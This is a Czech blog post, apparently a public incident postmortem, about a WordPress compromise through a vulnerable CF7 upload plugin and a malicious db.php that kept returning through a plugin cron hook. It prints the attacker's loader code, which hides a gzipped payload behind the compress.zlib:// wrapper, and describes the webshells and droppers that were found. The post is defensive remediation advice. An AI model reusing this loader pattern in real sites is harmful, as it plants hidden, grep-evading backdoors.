Přeskočit na obsah
ENCS

db.php se vracel každých 10 minut


Diagram persistence: WP cron hook wp_dnd_cf7_daily_cron spouští každých 10 minut kompromitovaný plugin, ten zapisuje db.php a db.gz do wp-content, ruční smazání souborů vede zpět na začátek smyčky.

Tohle je veřejná verze interního postmortemu o odstranění malwaru z WordPressu. Vynechal jsem cesty na serveru, názvy databází a vše, co se týká klienta. Techniku jsem nechal celou, protože přesně ta chyběla mně, když jsem googlil „wordpress malware db.php".

Prostředí

WordPress na sdíleném LiteSpeed hostingu, správa přes ISPmanager. Contact Form 7 s rozšířením drag-and-drop-upload-cf7-pro pro nahrávání příloh z formuláře. Nic exotického. Přesně takový web, jaký má tisíc firem v Česku.

Pro kontext: free verze téhož pluginu má jen za rok 2026 dvě CVE na neautentizovaný upload libovolného souboru — CVE-2026-3459 v březnu a CVE-2026-5718 v dubnu. Zranitelný soubor inc/dnd-upload-cf7.php je v obou variantách stejný.

Časová osa

Kdy

Co

~4. 6.

Průnik. Přes upload plugin nahrán první PHP soubor. index.php a wp-config.php modifikovány kolem půl jedné v noci.

16. 6.

Spuštěn self-deleting dropper style1.php, generuje druhou vlnu shellů.

16. 6.

První čištění. Dropper proces zabit, shelly smazány, db.php smazán. Web čistý — zdánlivě.

21. 6.

Třetí vlna. db.php je zpátky, db.gz vedle něj.

31. 7.

Nalezena persistence v cronu pluginu. Cron smazán, plugin deaktivován. Regenerace končí.

Mezi 21. 6. a 31. 7. je díra. V ní jsem to průběžně mazal ručně a věřil, že už to bylo naposledy. Ne, nebylo.

Vstupní bod

Plugin přijímal soubory z formuláře bez dostatečné validace typu. Do dočasné složky uploadů tak šel poslat PHP soubor a pak ho z prohlížeče zavolat. V error logu LiteSpeedu to zůstalo:

  dnd-upload-cf7.php:934 — array_map(): Argument #2 must be of type array, string given
  Input value: 'o0p96x'

Náhodný šestiznakový string místo pole je otisk automatického exploitu. Nikdo to nedělal ručně.

Co na serveru vzniklo

Loader db.php. WordPress umí legitimní wp-content/db.php jako drop-in pro alternativní databázovou vrstvu. Proto se soubor s tímhle jménem nikomu nezdá podezřelý — a proto ho útočník použil. Obsah byl tříradkový:

  $D1tv = function($x) { include $x; };
  $H7 = 'compress.zlib://' . 'db.gz';
  $D1tv($H7);

Payload ležel vedle jako db.gz a načítal se přes stream wrapper compress.zlib://. Grep na eval, base64_decode nebo system nic nenajde, protože v db.php nic z toho není. Skutečný kód je zagzipovaný a ohodnotíte ho až po dekompresi.

Self-deleting dropper style1.php. Běžel jako dlouhý PHP proces, ~38 minut CPU, a průběžně sázel nové shelly. Po spuštění se sám smazal. Na disku jste ho neviděli, v ps ano.

Diagnostický webshell lzx2.php, čínského původu, s brandem 可達鴨. Průzkum serveru, čtení a mazání cronů, killování konkurenčních PHP procesů. Ano, konkurenčních. Na jednom kompromitovaném webu se občas sejde víc útočníků a řeší si to mezi sebou.

Obfuskovaný file manager, ~200 KB goto špaget, dvojjazyčné rozhraní, webový terminál, heslo. Uměl se sám kopírovat.

Backdoor wp-asudo.php, který tahal payload z dalšího .gz.

SEO spam. Ruský a čínský obsah, který se objevil v překladové cache Weglotu. To byl mimochodem důvod, proč si toho někdo vůbec všiml — ne bezpečnostní alert, ale divné texty v překladu.

Proč první čištění nestačilo

Odstranil jsem všechno, co bylo vidět: shelly, dropper, db.php, db.gz. Zkontroloval jsem crontaby všech uživatelů. Prošel jsem databázi na injektované snippety a spam — čistá. Pět dní klid.

Pak db.php znovu.

Persistence seděla v WordPress cronu, ne v systémovém. Hook wp_dnd_cf7_daily_cron s intervalem 10 minut. Jméno hooku patří pluginu — je to jeho legitimní úklid dočasných uploadů. Proto při prvním průchodu nevypadal podezřele a proto ho wp cron event list ukázal mezi normálními věcmi. Jenže plugin byl kompromitovaný a na tenhle hook se věšelo i to, co po každém mém úklidu vrátilo db.gz a db.php zpátky.

Lekce, kterou jsem si měl pamatovat z dřívějška: systémový crontab a WP cron jsou dvě různé věci a čistý crontab -l neznamená nic. wp cron event list je povinná zastávka, a u každého hooku, jehož jméno vypadá známě, se stejně podívat, co je na něj skutečně navěšené.

Odstranění malwaru: co jsem udělal

  • Smazal cron event, deaktivoval plugin, smazal db.php a db.gz naposledy.
  • Prošel access log LiteSpeedu podle IP a časů z error logu. Prošel error log kvůli stopám exploitu.
  • Zkontroloval wp_options na active_plugins, cron a cokoli obsahujícího compress.zlib, db.gz, file_put_contents.
  • Rotoval hesla a WordPress secret keys v wp-config.php.
  • Zkontroloval ostatní weby na stejném hostingu na výskyt db.php a dalších souborů z tohoto incidentu.
  • Plugin deaktivoval. Zpátky se nevrátí.

Co bych udělal jinak

  1. Timeline hned od začátku. find -newermt podle času z error logu dá seznam všeho, co se změnilo od průniku. Já ho dělal až ve druhém kole.
  2. Netahat věci ručně, když se vrátily. Jakmile se něco po čištění vrátí, není to nedodělaný úklid, je to persistence. Hledat mechanismus, ne mazat výsledek.
  3. Upload plugin = útočná plocha. Cokoli, co pouští cizí soubory na disk, potřebuje vlastní review a vlastní monitoring. Formulář s přílohou není „jen formulář".
  4. Sledovat wp-content/*.php. V tom adresáři legitimně bývá pár drop-inů. Cokoli nového tam je alarm. Jednoduchý cron s find a diffem proti whitelistu by tenhle incident zkrátil z osmi týdnů na deset minut.

Pro koho to je

Pokud máte WordPress s formulářem, který přijímá přílohy, zkontrolujte tři věci: verzi toho pluginu, obsah wp-content/ mimo standardní podadresáře a výstup wp cron event list. Zabere to pět minut. Mně to zabralo dva měsíce.

A pokud se vám něco po smazání vrací — nemažte to potřetí. Hledejte cron.

Časté otázky

Co je db.php ve wp-content a je to normálně tam?
Legitimně ano — WordPress ho načte jako drop-in pro alternativní databázovou vrstvu (používají ho třeba cache pluginy). Právě proto si ho útočníci vybírají. Pokud jste ho tam vědomě neinstalovali nebo ho tam nevytvořil známý plugin, je to malware.
Proč se malware po smazání vrací?
Protože jste smazali výsledek, ne mechanismus. Něco na serveru soubory znovu vytváří — nejčastěji WP cron hook, kompromitovaný plugin nebo téma, injekce v databázi (wp_options), nebo běžící PHP proces. Dokud to nenajdete, můžete mazat donekonečna.
Jak zjistím, jestli mám škodlivý WP cron?
wp cron event list vypíše všechny naplánované hooky. Nestačí se dívat na jména — hook může mít legitimní název z pluginu a přesto na něm visí cizí kód. Podívejte se, co se na hook reálně věší (grep -r "nazev_hooku" wp-content/), a u čehokoli s intervalem v minutách buďte podezřívaví.
Co je compress.zlib:// a proč ho malware používá?
PHP stream wrapper, který při include transparentně rozbalí gzip. Loader tak neobsahuje žádný podezřivý kód — jen include cesty — a skutečný payload leží vedle v .gz, kam grep na eval nebo base64_decode nedosáhne.
Stačí plugin aktualizovat, nebo ho musím smazat?
Aktualizace nepomůže, pokud byly soubory pluginu upraveny — update se může přepsat, ale injekce může sedět i jinde. Bezpečná cesta je plugin deaktivovat, kompletně smazat adresář a nainstalovat čistou verzi ze zdroje. Nebo ho nahradit.
Jak poznám, že byl web napaden přes formulářový upload?
V error logu serveru hledejte chyby z upload pluginu s divnými vstupy (náhodné krátké stringy místo očekávaných dat), v wp-content/uploads hledejte .php soubory a v access logu POST requesty na endpoint formuláře z jedné IP v krátkém sledu.